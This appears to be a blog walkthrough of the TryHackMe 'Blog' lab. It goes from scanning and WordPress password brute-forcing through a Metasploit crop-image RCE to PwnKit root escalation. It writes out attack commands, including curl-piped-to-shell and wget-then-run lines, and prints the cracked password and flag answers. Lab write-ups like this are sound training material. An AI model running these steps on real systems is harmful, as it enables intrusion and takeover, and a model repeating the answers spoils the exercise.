[TryHackMe] Blog

I solved the Blog room on TryHackMe

Topics:

• Hosts file
• Scanning
• SMB
• Gobuster
• WPScan
• Fuzzing passwords using OWASP ZAP
• Metasploit exploit, meterpreter and shell
• Remote File Inclusion (LinPEAS)
• Privilege escalation using PwnKit
• Capture the flags

Add TLD to hosts file

Following the suggestion in the room, I added blog.thm to the hosts (/etc/hosts) file using nano

Scanning

Every hack starts with scanning, enumeration, and banner grabbing

sudo su
nmap -sV -sC -A 10.10.186.187 # Target IP address

port 22 (OpenSSH 7.6p1 Ubuntu)
port 80 (Apache/2.4.29)
port 139, 445 (Samba smbd 4.7.6)

SMB

SMB was discovered, and I enumerated the available shares

nmap --script smb-enum-shares 10.10.186.187

Interesting available shares found:

I examined the BillySMB share using smbclient and found several image files, though they aren't of interest at this point

Gobuster

The folder structure clearly indicates that this is a WordPress website

WPScan

Running WPScan on Kali wasn’t straightforward due to numerous Ruby-related errors that prevented the tool from functioning properly. To work around this, I used the Docker version of WPScan to enumerate usernames

So, usernames bjoel and kwheel found

OWASP ZAP

I prefer using OWASP ZAP for performing dictionary attacks on user accounts

Using manual exploration, I navigated the website and searched for the login page. I then attempted to log in with the obviously incorrect credentials: ‘user’ and ‘pass’

In OWASP ZAP, I select the latest entry in the History tab, right-click on it, and choose Attack > Fuzz.

I then highlight the ‘user’ text and click the Add button to configure the payload

In the Add Payload window, I enter the two usernames, then click Add followed by OK

Next, I select the ‘pass’ field, click Add twice, choose File, and then select the rockyou.txt wordlist.

Click Add, then OK, and start the fuzzer. Sort the results by the code column and go to the top line. Once a 302 status code appears, it indicates a valid password has been found!

Within a short time, OWASP ZAP discovered the password for the kwheel account: cutiepie1

Logging in

Using these credentials, I logged into the WordPress blog and noticed it was a standard user account without admin privileges

Vulnerability

Using the Exploit Database (https://www.exploit-db.com/), I searched for WordPress 5.0 and found some valuable information

It appears that remote code execution via image upload is possible, and there is a corresponding exploit available for Metasploit

Metasploit

I fired up Metasploit and searched for crop-image shell upload

Commands used:

• use exploit/multi-http/wp_crop_rce
• show options
• set USERNAME kwheel
• set PASSWORD cutiepie1
• set RHOST 10.10.186.187
• set LHOST [IP address of tun0]
• exploit

Once I got a meterpreter connection, I did the shell command

LINPEAS

To help me finding everything I need, I used LinPEAS. LinPEAS is an open source script designed to automate the process of searching for potential privilege escalation vulnerabilities on Linux / Unix / MacOS. I downloaded the latest linpeas.sh script and uploaded it to my web server

Get digistam’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

In the Metasploit shell I typed:

curl http://[IP address of my webserver]/linpeas.sh | sh

LinPEAS ran its analysis on the host, producing a comprehensive and detailed list of vulnerabilities with references to relevant exploits. It indicated that privilege escalation via PwnKit was possible. I downloaded the PwnKit exploit from GitHub and uploaded it to my web server. Using the Metasploit shell, I then downloaded the PwnKit exploit from my web server and executed it:

cd /tmp
wget http://[IP address of my webserver]/PwnKit
chmod +x ./PwnKit
./PwnKit

whoami

Now, whoami tells me that I am root !

Capture the flags

Now, capturing the flags was straightforward!

What’s the contents of root.txt

find / -name root.txt

/root/root.txt
cat /root/root.txt
9a0b2b618bef9bfa7ac28c1353d9f318

What’s the contents of user.txt

find / -name user.txt

/home/bjoel/user.txt # You won't find what you're looking for here. TRY HARDER

/media/usb/user.txt

c8421899aae571f7af486492b71a8ab7

Where was user.txt found?

/media/usb/user.txt

What CMS was Billy using?

Wordpress

What version of the above CMS was being used?

5.0